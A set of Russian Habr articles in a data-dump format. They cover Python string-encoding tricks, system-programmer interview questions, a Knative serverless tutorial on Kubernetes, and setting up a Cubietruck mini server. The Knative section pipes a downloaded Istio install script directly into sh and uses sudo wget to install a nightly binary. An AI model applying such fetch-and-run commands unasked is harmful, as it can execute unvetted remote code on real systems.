>>> l[0].append(1)
>>> l
[[1], [1], [1], [1], [1]]
```
Лучше наверное вот так:
```
>>> l = [[] for _ in range(5)]
```
##### rot13, string\_escape, unicode\_escape кодировки
Супер секретный метод шифрования [Rot13](http://en.wikipedia.org/wiki/ROT13):
```
>>> 'Hello world!'.encode('rot13')
'Uryyb jbeyq!'
>>> 'Uryyb jbeyq!'.decode('rot13')
u'Hello world!'
```
Далее. Например, есть строка из внешнего источника, при этом в строке есть литералы *\n, \t, \r* и т.п. Как получить отформатированную строку (по сути, сделать безопасный *eval*)?
```
>>> s = 'Hello\\n\\rworld!'
>>> s
'Hello\\n\\rworld!'
>>> repr(s)
"'Hello\\\\n\\\\rworld!'"
>>> print s.decode('string_escape')
Hello
world!
```
*unicode\_escape* работает аналогично, только с юникодом, а не со строками. Так же он умеет превратить строку *'\u0457'* в букву "ї":
```
>>> print '\u0457'.decode('unicode_escape')
ї
```
Перечень поддерживаемых кодировок — [standard-encodings](http://docs.python.org/library/codecs.html#standard-encodings).
##### textwrap
Очень полезная либа для работы с текстами. Делаем с длинной строки много мелких:
```
>>> s = "Python is a programming language that lets you work more quickly and integrate your systems more effectively. You can learn to use Python and see almost immediate gains in productivity and lower maintenance costs."
>>> print textwrap.fill(s, 25)
Python is a programming
language that lets you
work more quickly and
integrate your systems
more effectively. You can
learn to use Python and
see almost immediate
gains in productivity and
lower maintenance costs.
```
[Дока](http://docs.python.org/library/textwrap.html) — там ещё много вкусного.
##### itertools
Сплошное умиления. Читать-не перечитать, особенно [раздел](http://docs.python.org/library/itertools.html#recipes) с рецептами. Здесь вспомню *grouper*:
```
>>> def grouper(n, iterable, fillvalue=None):
... "grouper(3, 'ABCDEFG', 'x') --> ABC DEF Gxx"
... args = [iter(iterable)] * n
... return izip_longest(fillvalue=fillvalue, *args)
...
>>> list(grouper(2, [1,2,3,4,5,6]))
[(1, 2), (3, 4), (5, 6)]
>>> list(grouper(3, [1,2,3,4,5,6]))
[(1, 2, 3), (4, 5, 6)]
>>> list(grouper(4, [1,2,3,4,5,6], fillvalue=0))
[(1, 2, 3, 4), (5, 6, 0, 0)]
```
*фишка в том, что мы работаем с одним итератором*
#### Заключения
Большая часть информации из замечательного топика на [StackOverFlow](http://stackoverflow.com/questions/101268/hidden-features-of-python), остальное — собственные наблюдения. На эту тему можно писать много, поэтому старался поделится только самым интересным и полезным.
Спасибо за внимание!
Да прибудет с вами сила документации!
P.S. Если есть замечания — буду очень признателен за сообщения в личку. | https://habr.com/ru/post/123821/ | null | ru | null |
# Программисты, ходите на собеседования
[](https://habr.com/ru/company/ruvds/blog/521086/)
Картинка взята из видеоролика с канала «[Воинствующие Аметисты](https://www.youtube.com/channel/UCqyg9RsZcKmW5aPuf2RA3dQ)»
Около 10 лет я работал системным программистом под Linux. Это модули ядра (kernel space), различные демоны и работа с железом из пространства пользователя (user space), различные загрузчики (u-boot и др.), прошивки контроллеров и многое другое. Даже иной раз случалось пилить web-интерфейс. Но чаще бывало, что приходилось и с паяльником посидеть, да с проектировщиками печатных плат взаимодействовать. Одна из проблем такой работы это то, что достаточно сложно оценить уровень своей компетенции, поскольку одну задачу ты можешь знать очень глубоко, а рядом можешь не знать совсем. Единственный адекватный способ понять куда идти, и какие течения сейчас есть – это ходить на собеседования.
В данной статье хочу обобщить мой опыт похода по собеседованиям на вакансию системного программиста linux, особенности интервью, работы и как по общению с будущим работодателем оценить личный уровень знаний и чего от этого ожидать не стоит.
В статье будет небольшой конкурс с призами.
Особенности профессии
---------------------
Системный программист, в той специфике, в которой работал я — это полный универсал: мне приходилось как писать код, так и отлаживать железо. И часто возникала необходимость что-то паять самостоятельно. Периодически, случалось что мои корректировки по железу передавались потом разработчикам. Поэтому, для работы в этой сфере требуется достаточно хороший багаж знаний, как в области цифровой схемотехники, так и в области программирования. Из-за этого, часто собеседования на вакансию системного программиста выглядят как поиск специалиста по электронике.
**Типичное рабочее место системного программиста.**
На фото выше — моё типичное рабочее место в момент отладки драйверов. Логический анализатор показывает корректность передаваемых посылок, осциллограф контролирует форму фронтов сигнала. Так же в кадр не попал jtag-отладчик, который применяется тогда, когда стандартные средства отладки уже не справляются. И со всем этим парком оборудования необходимо уметь работать.
Часто бывает, что перепаять какие-то элементы, исправить ошибки топологии быстрее и проще самому, чем носить изделие монтажнику. И тогда на твоём рабочем месте поселяется ещё и паяльная станция.
Ещё особенность разработки на уровне драйверов и железа заключается в том, что гугл не помогает. Часто приходится искать информацию по своей проблеме, а там три ссылки, из которых две — это твои же вопросы на каком-то форуме. Или ещё хуже, когда встречаешь вопрос такого же бедолаги, который задавал его 5 лет назад в списке рассылки ядра, да так и не получил на него ответа. В этой работе, кроме ошибок в проектировании как аппаратной части, так и программной, сплошь и рядом встречаются ошибки документации — это наверное самые лютые и неприятные проблемы. Бывает некорректно описаны регистры, либо вообще отсутствует описание на таковые. Такие проблемы решаются только методом научного тыка случайных чисел в определённые регистры (этакий реверс). Часто бывает ещё такое, что в процессоре заложен какой-то функционал, а кроме тебя этот функционал никто не реализовывал (особенно, если процессор новый). И это хождение по полю с граблями, из которых 70% детские. Но когда есть документация, даже с ошибками — это уже прогресс. Достаточно часто бывает, что документации вообще нет, и вот там начинается хождение уже по минным полям, когда горит железо. И да, такие задачи тоже с успехом решал.
Собеседования
-------------
Моё мнение, что на собеседования стоит ходить где-то не реже, чем раз в пол года, даже если вы обожаете свою работу, и не хотите её менять. Собеседование позволяет понять свой уровень, как специалиста. Я считаю, что самые ценные собеседования — провальные. Именно они наиболее точно показывают какие узкие места своих знаний стоит подтянуть.
Ещё одна интересная особенность — это качество собеседований. Это моё наблюдение, и оно не является истиной, допускаю, что мне просто так везло. Если собеседование проходит по сценарию:
* расскажите о себе;
* у нас такие задачи;
* вам нравится?
И если после этого диалога вы друг другу понравились, ты выходишь на работу, то как правило компания и задачи оказываются весьма приятными и адекватными. Если собеседование напоминает прохождение 12 кругов ада: первое собеседование с HR, потом собеседование с группой программистов, потом директор, ещё домашние задания и т.д., то как правило это были провальные организации в которых я работал не очень долго. Опять же — это личное наблюдение, но как правило слишком большая бюрократия и затянутый процесс принятия на работу показывает что такие же точно процессы протекают внутри компании. Решения принимаются медленно и неэффективно. Были и обратные ситуации, когда были круги ада собеседований, а компания оказывалась шикарной, и когда после хлопка по рукам компания оказалась болотом, но это редкости.
Если вы думаете, что сценарий: встретились, рассказали о себе и приняли на работу, существует только в маленьких компаниях, то нет. Я такое видел в очень крупных компаниях, в которых работают больше сотен человек и представленных на мировых рынках. Это нормальный механизм, тем более если у тебя есть богатый послужной список и есть возможность обзвонить твоих предыдущих работодателей и расспросить о тебе.
Для меня очень хороший показатель компании, когда просят показать примеры своих проектов и кода. Сразу показывается уровень подготовки соискателя. И, как по мне, с точки зрения отбора кандидатов — это самый эффективный способ отбора, чем показные собеседования. По сути на собеседовании можно провалиться от волнения, или наоборот вылезти на адреналине. Но в реальной работе с реальным задачами не справляться. И с таким я тоже сталкивался, когда сам собеседовал людей. Приходит специалист, показывает себя отлично, мне понравился, мы ему понравились. И с простейшей задачей мучился месяц, в результате другой программист её решил за пару дней. С тем программистом пришлось расстаться.
В собеседованиях особенно сильно ценю программистские задачи. И те которые приходится решать прямо во время встречи, в стрессе, так и домашние задания. Первое показывает насколько ты готов быстро и точно решать задачи в стрессовой ситуации и аврале. Вторая, показывает уровень твоей компетенции и умение искать информацию и решать текущие задачи.
Самые интересные места работы у меня были в оборонном комплексе нашей страны. В процессе работы приходилось решать просто фантастические задачи, которые коммерческим программистам даже и не снились. Суперкомпьютеры, проектирование маршрутизаторов, различных узловых боевых комплексов — это безумно увлекательно. Когда во время парада видишь комплекс, который хранит в себе твой код, это правда приятно. Как ни странно, собеседования в такие компании, как правило очень простые, буквально пришёл, понравился — принят (наверное накладывается специфика военных, которые не любят размусоливать). Задачи, с которыми мне приходилось там сталкиваться, по-настоящему интересные и сложные. С опытом пришло, что на них хорошо учиться быть качественным системным программистом. Недостатки тоже есть, и это даже не низкая оплата труда. На данный момент зарплата в оборонном комплексе вполне достойная, с бонусами и плюшками. Как правило — это большая бюрократия, ненормированный рабочий день, бесконечные авралы, работа в большом стрессе. В определённых случаях нельзя исключить секретность, которая добавляет определённые проблемы для выезда за рубеж. Плюс, конечно, самодурство начальников-сапогов, и такое, увы, тоже бывает. Хотя опыт работы именно с представителем заказчика, у меня, исключительно приятный. Это собирательное впечатление о трёх различных НИИ и компаний связанных с гособоронзаказом.
Задачи на собеседованиях
------------------------
Чтобы не было недоразумений и для того, чтобы не подставлять компании в которых собеседовался, не буду искушать судьбу и указывать их данные. Но я благодарен за каждое собеседование, за то время которое уделили мне люди, за возможность посмотреть на себя со стороны. Могу только сказать, что задачи были в крупные международные компании, представленные в разных странах.
Расскажу самое интересное: какие задачи дают на собеседованиях. Вообще, самые частые вопросы на вакансию системного программиста и программиста микроконтроллеров — это битовые операции, во всевозможных вариациях. Поэтому готовьтесь наиболее хорошо именно по данному направлению.
Вторая по полярности тема — это указатели, вот это прям должно от зубов отскакивать. Так, чтобы вас среди ночи разбудили и вы могли всё рассказать и показать.
С нескольких собеседований я в своей голове утащил вопросы, и приведу их тут, так как нахожу их достаточно интересными. Умышленно не даю ответы на данные вопросы, чтобы читатели могли самостоятельно ответить на эти вопросы в комментариях и был небольшой порох при прохождении реального собеседования.
**Вопросы №1**
> I. На знание СИ. Что означают следующие записи:
>
>
>
>
> ```
> const char * str;
>
> char const * str;
>
> const * char str;
>
> char * const str;
>
> const char const * str;
>
> ```
>
>
> Все ли записи корректны?
>
>
>
> II. Почему эта программа выдаст ошибку сегментации?
>
>
>
>
> ```
> int main ()
> {
> fprintf(0,"hello\n");
> fork();
> return(0);
> }
> ```
>
>
> III. На сообразительность.
>
>
>
> Имеется палка длиной в один метр. На неё случайным образом падают десять муравьёв, которые ползут в разные стороны. Скорость движения одного муравья 1 м/с. В случае если муравей встречается с другим муравьём, то он разворачивается и ползёт в противоположную сторону. Какое максимальное время нужно прождать, чтобы все муравьи упали с палки.
>
>
Следующее собеседование было для меня провальным, и я считаю его самым полезным в моей программистской практике. Оно показало всю глубину моей некомпетентности. До этого собеседования я был знаком с каждым из этих вопросов и они постоянно встречались на моей практике, но как-то не придавал им большого значения, соответственно и не разбирался в них на пятерку. Поэтому данный экзамен, я с позором провалил. И я очень благодарен, что такой провал свершился, это подействовало на меня максимально отрезвляюще. Ты думаешь, что ты крутой специалист, знаешь схемотехнику, интерфейсы, работу с ядром. И тут на тебе реальные вопросы и ты поплыл. Итак, посмотрим.
**Вопросы собеседования №2**
> **Аппаратные вопросы.**
>
>
>
> * Как устроены системные вызовы linux на языке ассемблера на ARM-процессоре, на х86. В чём отличие?
> * Какие средства синхронизации бывают? Какие средства синхронизации можно использовать внутри контекста прерывания, какие нет и почему?
> * Чем отличается шина i2c от spi?
> * Для чего на шине i2c стоят терминаторы и какой их номинал?
> * Может ли интерфейс RS-232 работать ТОЛЬКО по двум проводам: RX и TX? Тут дам ответ: Оказывается, что плохонько, на 9600, но может!!!
> * А теперь второй вопрос: почему?
> * Как лучше располагать сигнальные линии и питание в многослойных платах и почему? Питание внутри слоёв, или сигнальные линии внутри слоёв? (Вопрос вообще сугубо по схемотехнике).
> * Для чего у дифференциальных линий дорожки идут везде вместе?
> * Шина RS-485. Обычно на такой линии есть терминаторы. Однако, у нас схема звезда, с переменным количеством подключаемых модулей. Какие средства избежания коллизий и помех нужно использовать?
> * Что такое красное и бинарное дерево?
> * Как работать с cmake?
> * Вопросы о сборке yocto linux.
>
>
>
> **Задачи на этом собеседовании:**
>
>
>
> 1. Написать функцию, которая инвертирует в `uint32_t` все биты. (работу с битами очень любят на собеседованиях, рекомендую)
>
> 2.
>
>
>
>
> ```
> int32_t a = -200;
> uint32_t b = 200;
> return *(uint32_t) * (&a)) > b;
> ```
>
>
> Что вернёт данная функция? (решение на бумаге, без ЭВМ)
>
>
>
> 3. Функция расчёта среднего арифметического двух чисел `int32_t`.
>
>
>
> 4. Какие способы вывода в программах, в т.ч. в поток ошибок.
Третий отбор был относительно недавно, и я не удивлюсь если там до сих пор есть такая анкета, так что не буду раскрывать компанию, чтобы не подставлять их… Но в общих чертах приведу пример возможных вопросов, и если вы узнали ваши вопросы, то передаю привет :).
**Вопросы собеседования №3**
> 1. Приводится пример кода обхода дерева, необходимо рассказать что делается в данном коде и указать на ошибки.
> 2. Написать пример утилиты ls. С простейшей опцией “-l”.
> 3. Привести пример как сделать статическую и динамическую линковку. В чём разница?
> 4. Как работает RS-232? Чем отличается RS-485 от RS-232? В чём отличие RS-232 от RS-485 с точки зрения программиста?
> 5. Как работает USB (с точки зрения программиста)?
> 6. Перевод технического текста с русского на английский язык.
>
Успешное собеседование — не залог успешной работы
-------------------------------------------------
Эта глава скорее даже не для программистов(хотя и для них тоже), а больше для HR. Наиболее адекватные компании не смотрят дотошно результаты собеседований. Ошибаться нормально, чаще всего смотрят именно на то как человек умеет решать задачи и рассуждает.
Одной из ключевых проблем бывает то что кандидат с успехом решает задачи на собеседованиях, показывает себя прекрасным специалистом, но сливается на первой же реальной задаче. Не буду лукавить, у меня такое тоже было. С успехом прошёл все круги ада, решил все тестовые задания, но в реальных условиях работа оказалась не по зубам из-за банальной неопытности. Попасть на борт — это ещё не самая сложная задача. Самое сложное — это удержаться на борту данной компании.
Поэтому я больше доверяю компаниям, которые проводят простые собеседования с кандидатом и говорят: после первого месяца работы и так будет понятно подходите вы нам или нет. Это самый адекватный подход, да, возможно немного дорогой, но зато сразу понятно кто есть кто.
Есть и ещё один вариант собеседований: когда ты его с успехом проходишь, но по результатам собеседования понимаешь что работодатель полный неадекват. Я сразу отказываюсь от работы, если мне предлагают работать как ИП, суля большие доходы. Это форма ухода от налогов действующей организации, и почему проблемы работодателя должны волновать меня, как программиста? Другой вариант, это различные госструктуры. У меня было собеседование, по результатам которого мне предложили хорошую зарплату, но сказали что предыдущий программист уволился, заболел, умер, ушёл в запой из-за нагрузки и ваш рабочий день начинается в 8 утра. С такого места тоже бежал так, что пятки сверкали. Да, HR обратите внимание, что программисты готовы отказаться даже от самой вкусной вакансии, если рабочий день должен начинаться рано утром.
В конце приведу отличное видео отбора программиста, скриншот которого приведён в начале этой статьи. Такое собеседование у меня тоже было и не один раз. Если вы видите самодурство на этапе вопросов, то уважайте себя, встаньте, возьмите вещи и уйдите — это нормально. Если HR и руководитель на собеседовании самоутверждаются за счёт вас — это говорит о токсичности компании и вам там работать не следует, если только вы не любите неадекватных начальников.
Выводы
------
Программисты, ходите на собеседования! Причём старайтесь идти всегда на повышение. Допустим, если вы получаете N денег, то идите на собеседование минимум на оплату N\*1,2, а лучше N\*1,5. Даже если вы не возьмёте эту вакансию сразу, то поймёте что же нужно для этого уровня оплаты.
Мои наблюдения, показали что решает хорошее знание английского языка, достаточно богатый опыт работы в отрасли и уверенность в себе. Последнее — это главное качество, как и везде в жизни. Как правило, более уверенный кандидат может успешнее пройти собеседование, даже при наличии большего количества ошибок, чем отличный, но более стеснительный и инициативный соискатель. Удачи на собеседованиях!
P/S Конкурс
-----------
Если у вас есть интересные примеры задачек, которыми вас загрузил HR, то welcome в комментарии. Мы подготовили небольшой конкурс — условия просты: вы пишете самое необычное задание которое у вас было на интервью, читатели проводят его оценку (плюсом), а мы через неделю подводим итоги и награждаем победителя весёлыми ништяками.
[](http://ruvds.com/ru-rub?utm_source=habr&utm_medium=article&utm_campaign=dlinyj&utm_content=sobesedovaniya#order)
[](http://ruvds.com/ru-rub/news/read/123?utm_source=habr&utm_medium=article&utm_campaign=dlinyj&utm_content=sobesedovaniya) | https://habr.com/ru/post/521086/ | null | ru | null |
# Go-приложение с бессерверной архитектурой на Kubernetes с Knative
> Автор нашей новой переводной [статьи](https://medium.com/better-programming/go-serverless-on-kubernetes-with-knative-b3aff3dbdffa) утверждает, что Knative — лучшее, что только могли придумать во Вселенной! Вы согласны?
Если вы уже используете Kubernetes, то, вероятно, слышали о бессерверной архитектуре (serverless). Хотя обе платформы, Kubernetes и Knative, являются масштабируемыми, именно бессерверная архитектура делает всё возможное, чтобы предоставлять разработчикам работающий код и не беспокоить их проблемами инфраструктуры. Кроме того, такая архитектура сокращает расходы на инфраструктуру за счет виртуального масштабирования экземпляров приложения с нуля.
С другой стороны, вы можете использовать преимущества Kubernetes без ограничений, следуя традиционной модели хостинга и продвинутым методам управления трафиком. Благодаря этому, нам открываются различные возможности, например, сине-зеленый деплой (blue-green deployments) и A/B-тестирование.
Knative — это попытка взять лучшее из обоих миров! Как облачная платформа с открытым исходным кодом, Knative позволяет запускать ваши serverless-приложения на Kubernetes, реализуя все возможности последнего, а также гарантирует простоту и гибкость бессерверной архитектуры.
Таким образом, разработчики могут сосредоточиться на написании кода и развертывании контейнера в Kubernetes с помощью одной команды, а Knative в это время управляет приложением, заботясь о сетевых нюансах, автоматическом масштабировании до нуля и отслеживании версий.
Кроме того, Knative позволяет разработчикам писать слабо связанный ([loosely coupled](https://en.wikipedia.org/wiki/Loose_coupling)) код со своим фреймворком обработки событий, который обеспечивает универсальную подписку, доставку и управление событиями. Это означает, что вы можете объявить возможность подключения к событиям, и ваши приложения могут подписаться на определенные потоки данных.
Возглавляемая Google, данная open-source платформа была включена в Cloud Native Computing Foundation. Это подразумевает отсутствие привязки к вендору, что в противном случае является существенным ограничением текущих облачных бессерверных решений FaaS. Вы можете запустить Knative в любом кластере Kubernetes.
### Для кого Knative?
Knative помогает самым разным специалистам, у каждого из которых свои знания, опыт и обязанности.
Инженеры могут сосредоточиться на управлении кластером Kubernetes, а также на установке и обслуживании экземпляров Knative с помощью kubectl, а разработчики занимаются созданием и развертыванием приложений с использованием интерфейса Knative API.
Для любой организации это большой плюс, так как теперь разные команды могут решать свои задачи, не мешая друг другу.
### Почему Knative стоит использовать?
Большинство организаций, использующих Kubernetes, имеют сложный процесс управления развертыванием и поддержанием workloads. Это приводит к тому, что разработчики обращают внимание на детали, о которых им не нужно беспокоиться. Разработчикам следует сосредоточиться на написании кода, а не думать о сборках и развертываниях.
Kubeless помогает разработчикам упростить выполнение своего кода без необходимости слишком много знать о том, что происходит под капотом Kubernetes.
Кластер Kubernetes занимает ресурсы инфраструктуры, так как требует, чтобы у всех приложений был хотя бы один запущенный контейнер. Knative управляет этим аспектом за вас и заботится об автоматическом масштабировании контейнеров в кластере с нуля. Это позволяет администраторам Kubernetes упаковать множество приложений в один кластер.
Если у вас есть несколько приложений с разным временем пиковой нагрузки или у вас есть кластер с автоматическим масштабированием рабочих узлов, вы можете извлечь из этого большую пользу во время простоя.
Настоящая золотая жила для приложений с микросервисной архитектурой, которым могут и не потребоваться микросервисы, работающие в определенное время. Это способствует более эффективному использованию ресурсов, и вы можете делать больше в рамках ограниченных ресурсов.
Кроме того, он довольно хорошо интегрируется с движком Eventing и упрощает задачу в проектировании несвязанных систем. Код приложения может оставаться полностью свободным от какой-либо конфигурации конечной точки, и вы можете публиковать и подписываться на события, объявляя конфигурации на уровне Kubernetes. Это значительное преимущество для сложных микросервисных приложений!
### Как Knative работает?
Knative предоставляет интерфейс **kn** API с помощью операторов Kubernetes и CRD. Используя их, вы можете развертывать приложения с помощью командной строки. В фоновом режиме Knative создаст все необходимое в Kubernetes (развертывание, сервисы, входящие данные и т. д.) для запуска приложений, и вам не придется об этом беспокоиться.
Имейте в виду, что Knative не создает поды сразу же. Вместо этого он предоставляет виртуальную конечную точку для приложений и слушает их. Если в эти конечные точки попадает запрос, Knative запускает необходимые поды. Это позволяет масштабировать приложения с нуля до нужного количества экземпляров.
Knative предоставляет конечные точки приложения с использованием собственного домена в формате **[app-name].[namespace].[custom-domain]**.
Это помогает однозначно идентифицировать приложение. Похоже на то, как Kubernetes обрабатывает сервисы, но вам нужно создать A-записи собственного домена, чтобы указать на шлюз Istio ingress. Istio управляет всем трафиком, который проходит через ваш кластер в фоновом режиме.
Knative — это объединение множества продуктов CNCF и продуктов с открытым исходным кодом, таких как Kubernetes, Istio, Prometheus, Grafana, и движков потоковой передачи событий, таких как Kafka и Google Pub/Sub.
### Установка Knative
Knative имеет разумную модульную структуру, и вы можете установить только необходимые компоненты. Knative предлагает компоненты событий, обслуживания и мониторинга. Установить их можно, применив пользовательские CRD.
Knative действительно имеет внешние зависимости и требования для каждого компонента. Например, если вы устанавливаете обслуживающий компонент, вам также необходимо установить Istio и надстройку DNS.
Установка Knative довольна сложна и достойна рассмотрения в отдельной статье. Но для демонстрации давайте начнем с установки обслуживающего компонента.
Для этого вам потребуется работающий кластер Kubernetes.
Установите Service CRD и основные обслуживающие компоненты (serving core components):
```
kubectl apply -f https://github.com/knative/serving/releases/download/v0.17.0/serving-crds.yaml
kubectl apply -f https://github.com/knative/serving/releases/download/v0.17.0/serving-core.yaml
```
Установите Istio для Knative:
```
curl -L https://istio.io/downloadIstio | ISTIO_VERSION=1.7.0 sh - &&
cd istio-1.7.0 && export PATH=$PWD/bin:$PATH
istioctl install --set profile=demo
kubectl label namespace knative-serving istio-injection=enabled
```
Подождите, пока Istio будет готов, проверив, выделил ли Kubernetes внешний IP-адрес шлюзу Istio Ingress:
```
kubectl -n istio-system get service istio-ingressgateway
```
Определите собственный домен и настройте DNS, чтобы он указывал на IP-адрес шлюза Istio ingress:
```
kubectl patch configmap/config-domain --namespace knative-serving --type merge -p "{\"data\":{\"$(kubectl -n istio-system get service istio-ingressgateway -o jsonpath='{.status.loadBalancer.ingress[0].ip}').xip.io\":\"\"}}"
kubectl apply -f https://github.com/knative/net-istio/releases/download/v0.17.0/release.yaml
kubectl apply -f https://github.com/knative/serving/releases/download/v0.17.0/serving-default-domain.yaml
```
Установите надстройку Istio HPA:
```
kubectl apply -f https://github.com/knative/serving/releases/download/v0.17.0/serving-hpa.yaml
```
### Установка Knative CLI
Установить Knative CLI просто. Необходимо загрузить последнюю версию бинарного файла Knative CLI в папку bin или указать соответствующий путь.
```
sudo wget https://storage.googleapis.com/knative-nightly/client/latest/kn-linux-amd64 -O /usr/local/bin/kn
sudo chmod +x /usr/local/bin/kn
kn version
```
### Запуск приложения «Hello, World!»
А теперь давайте запустим наше первое «Hello, World!» приложение, чтобы понять, насколько просто оно разворачивается с помощью Knative.
Воспользуемся образцом приложения «Hello, World!» на Go для демонстрации. Это простой REST API, который возвращает **Hello $TARGET**, где **$TARGET** — это переменная среды, которую вы можете установить в контейнере.
Выполните следующую команду, чтобы начать:
```
$ kn service create helloworld-go --image gcr.io/knative-samples/helloworld-go --env TARGET="World" --annotation autoscaling.knative.dev/target=10
Creating service 'helloworld-go' in namespace 'default':
0.171s Configuration "helloworld-go" is waiting for a Revision to become ready.
6.260s ...
6.324s Ingress has not yet been reconciled.
6.496s Waiting for load balancer to be ready
6.637s Ready to serve.
Service 'helloworld-go' created to latest revision 'helloworld-go-zglmv-1' is available at URL:
http://helloworld-go.default.34.71.125.175.xip.io
```
```
kubectl get pod
No resources found in default namespace.
```
Запустим сервис **helloworld**.
```
$ curl http://helloworld-go.default.34.71.125.175.xip.io
Hello World!
```
И через некоторое время мы получаем ответ. Давайте посмотрим на поды.
```
$ kubectl get pod
NAME READY STATUS RESTARTS AGE
helloworld-go-zglmv-1-deployment-6d4b7fb4f-ctz86 2/2 Running 0 50s
```
Итак, как вы можете видеть, Knative развернул под в фоновом режиме за одно движение. Получается, что мы буквально масштабировали с нуля.
Если мы дадим немного времени, мы увидим, что под начинает завершаться. Давайте посмотрим, что происходит.
```
$ kubectl get pod -w
NAME READY STATUS RESTARTS AGE
helloworld-go-zglmv-1-deployment-6d4b7fb4f-d9ks6 2/2 Running 0 7s
helloworld-go-zglmv-1-deployment-6d4b7fb4f-d9ks6 2/2 Terminating 0 67s
helloworld-go-zglmv-1-deployment-6d4b7fb4f-d9ks6 1/2 Terminating 0 87s
```
Пример выше показывает, что Knative управляет подами согласно нашим требованиям. Хотя первый запрос выполняется медленно, поскольку Knative создает workloads для его обработки, последующие запросы будут выполняться быстрее. Вы можете точно настроить время замедления подов в зависимости от ваших требований или при наличии более жесткого SLA.
Давайте пройдем еще немного дальше. Если вы посмотрите на аннотации, мы ограничили каждый под обработкой до 10 одновременных запросов. Итак, что произойдет, если мы загрузим наши функции сверх этого? Сейчас выясним!
Мы воспользуемся утилитой **hey** для нагрузки на приложение. Следующая команда отправляет 50 одновременных запросов к конечной точке в течение 30 секунд.
```
$ hey -z 30s -c 50 http://helloworld-go.default.34.121.106.103.xip.io
Average: 0.1222 secs
Requests/sec: 408.3187
Total data: 159822 bytes
Size/request: 13 bytes
Response time histogram:
0.103 [1] |
0.444 [12243] |■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
0.785 [0] |
1.126 [0] |
1.467 [0] |
1.807 [0] |
2.148 [0] |
2.489 [0] |
2.830 [0] |
3.171 [0] |
3.512 [50] |
Latency distribution:
10% in 0.1042 secs
25% in 0.1048 secs
50% in 0.1057 secs
75% in 0.1077 secs
90% in 0.1121 secs
95% in 0.1192 secs
99% in 0.1826 secs
Details (average, fastest, slowest):
DNS+dialup: 0.0010 secs, 0.1034 secs, 3.5115 secs
DNS-lookup: 0.0006 secs, 0.0000 secs, 0.1365 secs
req write: 0.0000 secs, 0.0000 secs, 0.0062 secs
resp wait: 0.1211 secs, 0.1033 secs, 3.2698 secs
resp read: 0.0001 secs, 0.0000 secs, 0.0032 secs
Status code distribution:
[200] 12294 responses
```
Теперь посмотрим на поды.
```
$ kubectl get pod
NAME READY STATUS RESTARTS AGE
helloworld-go-thmmb-1-deployment-77976785f5-6cthr 2/2 Running 0 59s
helloworld-go-thmmb-1-deployment-77976785f5-7dckg 2/2 Running 0 59s
helloworld-go-thmmb-1-deployment-77976785f5-fdvjn 0/2 Pending 0 57s
helloworld-go-thmmb-1-deployment-77976785f5-gt55v 0/2 Pending 0 58s
helloworld-go-thmmb-1-deployment-77976785f5-rwwcv 2/2 Running 0 59s
helloworld-go-thmmb-1-deployment-77976785f5-tbrr7 2/2 Running 0 58s
helloworld-go-thmmb-1-deployment-77976785f5-vtnz4 0/2 Pending 0 58s
helloworld-go-thmmb-1-deployment-77976785f5-w8pn6 2/2 Running 0 59s
```
Как мы видим, Knative масштабирует поды по мере увеличения нагрузки на функцию и замедляет ее, когда нагрузки больше нет.
### Заключение
Knative сочетает в себе лучшие характеристики бессерверной архитектуры и возможности Kubernetes. Он постепенно движется к стандартному способу реализации FaaS. Поскольку Knative входит в CNCF и вызывает всё больший интерес среди технических специалистов, возможно, скоро мы обнаружим, что облачные провайдеры внедряют Knative в свои бессерверные продукты.
Спасибо, что прочитали мою статью! Надеюсь, она вам понравилась. | https://habr.com/ru/post/535586/ | null | ru | null |
# Cubietruck. Дорожный мини сервер. Часть 1
Идея такого сервера родилась на отдыхе. Вечером хотелось посмотреть онлайн сериальчик на планшете, а из-за не устойчивого приема 3G, просмотр превращался в муку. Как вариант можно было скачать серию, но опять же при скачивании сигнал постоянно плавал, скорость прыгала и планшет надо было держать постоянно включенным и на зарядке (специфика приложения). К вечеру скачивалось пару серий и можно было спокойно посмотреть сериальчик.
В это время то и зародилось идея создания данного девайса. В инете большое количество реализации хранилища информации на одноплатных компьютерах разных производителей, но объединения нескольких решений найдено не было.
**Что в планах:**
Мозгом всей системы Cubietruck
HDD – 500Gb
USB модем HUAWEI E3372
Питание AC-DC 5V
Питание DC-DC 12V – 5V (для автомобиля)
Как это будет работать:
Дома это будет обыкновенный NAS подключенный по сетевому кабелю (lan) и примапленный к компу как простой сетевой диск.
На CubieTruck будет постоянно работать точка доступа WI-FI (на случай если нет Wi-FI, а есть только кабель с DHCP).
В случае, когда в Cubietruck подключен сетевой кабель (lan), девайc подключенный к точки доступа Cubietruck должен ходит в интернет через сетевой кабель, а не 3G. Модем же должен начать свою работу, когда к Cubietruck не подключен сетевой кабель.
При настройке опирался на пост [**Cubietruck. Уютный, домашний сервер**](http://habrahabr.ru/post/225371/) так что процесс установки системы описывать не буду.
#### **Настойки сети**
Все настройки делал на винде.
Записываем образ системы на флешку, ставим ее в на свое место и включаем Cubietruck.
Система сама устанавливается и перезагружается. После этого Cubietruck с установленной Cubian готова к работе.
В отсутствии монитора с HDMI и клавиатуры нам понадобиться [**Putty**](http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe).
Идем на устройство с DHCP (роутер и сервер) находим ip нашего Cubietruck
Подключение производим по порту **36000**, так как это порт по умолчанию в SSH Cubian.
Логин/пароль **cubie/cubie**
В процессе настройки не менял.
Лично для себя сменил порт.
Для этого правим **sshd\_config**
```
sudo nano /etc/ssh/sshd_config
```
Находим сторку с портом 36000
**Port 36000**
Меняем на
**Port 22**
Сохраняем. В редакторе **nano** для сохранения жмем **Ctrl+O** затем **Enter** и для выхода **Ctrl+X**.
Перезагружаемся
```
sudo reboot
```
Все теперь можем подключиться по стандартному порту **22**
Так как кубик планируется как нечто переносное, то в будущем интерфейс **eth0** то есть порт Enternet будет работать по **DHCP**, но сейчас для удобства настройки присвою ему статический адрес:
Настройки интерфейсов хранятся в файле **/etc/network/interfaces**
```
sudo nano /etc/network/interfaces
```
Конфигурация по умолчанию
```
auto lo
iface lo inet loopback
#
auto eth0
iface eth0 inet dhcp
```
Изменяем интерфейс **eth0**. Не забываем, что каждый меняет настройки под себя
```
auto eth0
allow-hotplug eth0
iface eth0 inet static
address 192.168.1.247
netmask 255.255.255.0
gateway 192.168.1.10
dns-nameserver 192.168.1.7
```
Перезагружаемся
```
sudo reboot
```
Пингуем хост ya.ru проверяем его доступность.
```
cubie@Cubian:~$ ping ya.ru
PING ya.ru (213.180.193.3) 56(84) bytes of data.
64 bytes from www.yandex.ru (213.180.193.3): icmp_req=1 ttl=56 time=2.04 ms
